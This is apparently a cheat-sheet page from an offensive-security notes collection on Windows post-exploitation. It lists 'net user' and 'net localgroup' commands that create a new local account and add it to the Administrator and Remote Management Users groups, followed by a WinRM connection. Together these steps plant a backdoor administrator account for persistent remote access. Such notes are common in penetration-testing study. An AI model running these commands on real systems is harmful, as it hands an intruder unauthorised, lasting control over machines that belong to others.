killchain-compendium/post_exploitation/priv_esc/docs/windows/add_user.md

# Add user as system user
```sh
net user <username> <password> /add
```
```sh
net localgroup Administrator <username> /add
```
```sh
net localgroup "Remote Management Users" <username> /add
```
```sh
net user <username>
```
* connect via winRM